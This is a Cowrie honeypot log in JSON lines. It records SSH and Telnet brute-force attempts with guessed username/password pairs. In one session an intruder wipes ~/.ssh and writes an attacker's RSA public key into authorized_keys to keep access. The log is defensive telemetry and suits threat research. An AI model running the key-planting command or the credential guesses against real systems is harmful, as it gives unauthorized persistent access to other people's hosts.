{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":34308,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ddd82728f9b","protocol":"ssh","message":"New connection: 14.225.217.138:34308 (159.203.135.109:22) [session: 3ddd82728f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:23.264377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:23.271147Z","src_ip":"14.225.217.138","session":"3ddd82728f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:23.528700Z","src_ip":"14.225.217.138","session":"3ddd82728f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"ftp","message":"login attempt [ftpuser1/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:24.591929Z","src_ip":"14.225.217.138","session":"3ddd82728f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:25.852086Z","src_ip":"14.225.217.138","session":"3ddd82728f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":51960,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c3c70539645","protocol":"ssh","message":"New connection: 186.113.245.157:51960 (159.203.135.109:22) [session: 5c3c70539645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:37.809076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:37.815235Z","src_ip":"186.113.245.157","session":"5c3c70539645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:37.913743Z","src_ip":"186.113.245.157","session":"5c3c70539645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"bill","message":"login attempt [admin/bill] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:38.327218Z","src_ip":"186.113.245.157","session":"5c3c70539645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:39.425451Z","src_ip":"186.113.245.157","session":"5c3c70539645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.68810176849365,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:00:53.392221Z","src_ip":"104.245.105.2","session":"e648905f19de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53218,"dst_ip":"10.17.0.5","dst_port":23,"session":"4522e4e50d83","protocol":"telnet","message":"New connection: 104.245.105.2:53218 (10.17.0.5:23) [session: 4522e4e50d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:01.122609Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":44718,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b269be90fef","protocol":"ssh","message":"New connection: 14.225.217.138:44718 (159.203.135.109:22) [session: 4b269be90fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:19.562787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:19.567604Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:19.831151Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qweasd","message":"login attempt [oracle/qweasd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:21.606367Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:22.179300Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:22.182510Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:22.186122Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:22.451580Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:23.016465Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:23.019537Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:23.288619Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:23.292717Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":44724,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcd85e055a09","protocol":"ssh","message":"New connection: 14.225.217.138:44724 (159.203.135.109:22) [session: dcd85e055a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:23.544635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:23.549513Z","src_ip":"14.225.217.138","session":"dcd85e055a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:23.812018Z","src_ip":"14.225.217.138","session":"dcd85e055a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:24.893320Z","src_ip":"14.225.217.138","session":"dcd85e055a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:26.160103Z","src_ip":"14.225.217.138","session":"dcd85e055a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":52316,"dst_ip":"159.203.135.109","dst_port":22,"session":"dce21ee7a343","protocol":"ssh","message":"New connection: 14.225.217.138:52316 (159.203.135.109:22) [session: dce21ee7a343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:26.436301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:26.444252Z","src_ip":"14.225.217.138","session":"dce21ee7a343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:26.722783Z","src_ip":"14.225.217.138","session":"dce21ee7a343","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:27.866750Z","src_ip":"14.225.217.138","session":"dce21ee7a343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:28.147467Z","src_ip":"14.225.217.138","session":"dce21ee7a343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:28.152200Z","src_ip":"14.225.217.138","session":"4b269be90fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.70524024963379,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:36.827760Z","src_ip":"104.245.105.2","session":"4522e4e50d83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":40958,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d102b3df055","protocol":"ssh","message":"New connection: 186.113.245.157:40958 (159.203.135.109:22) [session: 9d102b3df055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:37.740808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:37.744622Z","src_ip":"186.113.245.157","session":"9d102b3df055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:37.833410Z","src_ip":"186.113.245.157","session":"9d102b3df055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwertyuiop","message":"login attempt [postgres/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:38.224694Z","src_ip":"186.113.245.157","session":"9d102b3df055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:39.318917Z","src_ip":"186.113.245.157","session":"9d102b3df055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57744,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b580bf9917c","protocol":"telnet","message":"New connection: 104.245.105.2:57744 (10.17.0.5:23) [session: 4b580bf9917c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:01:51.465236Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.86.133.25","src_port":59716,"dst_ip":"10.17.0.5","dst_port":23,"session":"f65d82d9f225","protocol":"telnet","message":"New connection: 82.86.133.25:59716 (10.17.0.5:23) [session: f65d82d9f225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:03.954313Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":41450,"dst_ip":"159.203.135.109","dst_port":22,"session":"480dc382bf18","protocol":"ssh","message":"New connection: 14.225.217.138:41450 (159.203.135.109:22) [session: 480dc382bf18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:16.567818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:16.572829Z","src_ip":"14.225.217.138","session":"480dc382bf18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.664418935775757,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:02:16.618586Z","src_ip":"82.86.133.25","session":"f65d82d9f225","protocol":"telnet"}
